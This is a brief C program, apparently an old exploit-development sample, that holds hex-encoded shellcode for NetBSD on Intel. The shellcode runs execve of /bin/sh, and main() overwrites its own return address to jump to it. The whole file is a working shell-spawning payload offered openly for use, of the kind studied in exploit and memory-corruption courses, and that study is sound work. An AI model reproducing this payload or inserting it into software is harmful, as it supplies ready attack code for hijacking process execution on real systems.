/* * * Shellcode and assembly code written by zillion (at safemode.org) for NetBSD Intel systems.. * It does a execve of /bin/sh * * http://www.safemode.org * */ char shellcode[] = "\xeb\x19\x31\xc0\x5e\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\x50\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\xe8\xe2\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }